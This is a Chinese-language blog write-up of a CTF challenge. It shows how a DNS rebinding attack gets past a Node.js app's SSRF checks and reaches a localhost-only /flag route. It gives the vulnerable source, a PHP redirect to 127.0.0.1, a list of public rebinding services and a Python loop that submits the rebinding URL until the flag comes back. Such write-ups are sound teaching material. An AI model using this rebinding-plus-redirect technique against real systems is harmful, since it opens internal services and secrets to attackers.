DNS Rebinding Attack DNS重绑攻击在SSRF中的应用 6 min read

Author:颖奇L’Amore

Blog:www.gem-love.com


题目介绍

在12月23日华为XCTF高校网络安全专题挑战赛-鲲鹏计算专场中,出现了一道DNS Rebinding Attack的题目,题目名称CLOUDSTORAGE,附件给了docker

题目套了一个云存储的壳,但是上传下载都没有什么卵用,主要看/admin路由:

    app.post('/admin', (req, res) => {
        if ( !req.body.fileurl || !check(req.body.fileurl) ) {
            res.end("Invalid file link")
            return
        }
        let file = req.body.fileurl;

        //dont DOS attack, i will sleep before request
        cp.execSync('sleep 5')

        let options = {url : file, timeout : 3000}
        request.get(options ,(error, httpResponse, body) => {
            if (!error) {
                res.set({"Content-Type" : "text/html; charset=utf-8"})
                res.render("check", {"body" : body})
            } else {
                res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
            }
        });
    })

POST提交fileurl参数,首先调用check()进行url的验证,然后同步执行sleep 5命令,只有request去访问并把访问的结果渲染进模板

存在/flag路由,只有本地访问才能拿到flag:

app.get('/flag', function(req, res){
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
});

所以题目意图就很明显了,通过request想办法去访问到/flag并把flag带出来

URL的检测就是check函数

const checkip = function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false

    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

check()主要逻辑如下:

  1. url.parse()解析通过
  2. 利用公网上一个dns解析的api来解析,解析出的ip不能是私有ip并且必须等于docker.ip
  3. 端口不能是80或者8080
  4. 之后for循环匹配了一些黑名单关键字

这些全过了才可以,尤其是解析的ip必须是题目服务器的ip这个很恶心,而且公网这个dns解析的api对于域名可以解析出A记录地址,对于ip地址则返回这个ip地址,基本也没什么办法绕过,尤其对js不熟悉的同学更是无从下手。

DNS重绑攻击

DNS重绑攻击的详细介绍网上有很多文章,这里就以本例题给大家介绍一下。

当一个url被提交到/admin路由,题目干了两件事:

  1. check()内利用公网那个api对域名进行了第一次解析
  2. sleep 5后,request.get()访问url对域名进行了第二次解析

正如它的名字“重绑”,攻击者准备一个域名,在check时解析到了题目的ip地址,于是理所当然的过了check;之后,攻击者将其“重新绑定”到一个攻击者的ip或者内网ip或者本地ip,再第二次访问时第二次解析,此时解析出来的IP已经被重绑到了新的ip,于是就访问到了攻击者/内网/本地;这里的sleep本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。

在CTF中,DNS重绑主要应用在SSRF题目中,例如2020 ASIS CTF PyCrypto,Writeup可参考:

🇮🇷ASIS CTF Quals 2020 Writeup

DNS重绑攻击的条件是要进行多次DNS解析,并且利用这个DNS解析的时间差来进行一些利用,关键是要找到DNS解析的顺序以及代码的逻辑,然后尝试重绑攻击。

很多时候DNS重绑是先过check然后重绑到127.0.0.1来SSRF。本题目的SSRF和常规SSRF的套路一致,但不能重绑到127.0.0.1,因为本地是80端口,但是check()并不允许访问80端口;所以我们可以让它解析到攻击者的ip并且是非80/8080端口,当访问到攻击者时,利用302跳转到http://127.0.0.1:80/flag,request会默认follow这个302重定向,即可SSRF成功。

攻击实现

相信有的选手尽管了解到这个攻击原理,但是没有一个好用的DNS Rebinding平台,这里列出几个免费的:

  1. https://requestrepo.com/
  2. https://lock.cmpxchg8b.com/rebinder.html
  3. http://rbnd.gl0.eu/

以第一个requestrepo为例:

首先准备一台个人服务器,开放非80/8080端口(我开的12389),跳转到http://127.0.0.1/flag

<?php
header("Location: http://127.0.0.1:80/flag");

来到requestrepo,DNS设置:

提交这个url到/admin:http://y1ng.s268zbgn.requestrepo.com:12389/hw.php

因为随机解析不一定每次都成功、api可能会请求1~2次、DNS缓存、题目比较卡等多方面原因,直接提交可能不会成功,就写脚本循环提交就好了

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req

s = req.session()
url = "http://cloudstorage.xctf.org.cn:8011/admin"
data = {"fileurl" : "http://y1ng.s268zbgn.requestrepo.com:12389/hw.php" }
while True:
	try:
		text = s.post(url=url, data=data, timeout=10).text
		print(text)
		if "flag{" in text:
			exit(0)
	except Exception as e :
		print(e)

当然也可以用一些现成的框架自己搭,甚至比如Redbud的郭院士直接自己现写了一个tql

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/websecurity/2733.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

评论

  1. Leohearts

    华为这服务器网络不太行,连接到我AWS上的NS经常超时…当时很快就准备好了,打了好几次才成功(3s的Timeout着实不太够

    4周前
    2020-12-25 13:36:39

发送评论 编辑评论

上一篇
下一篇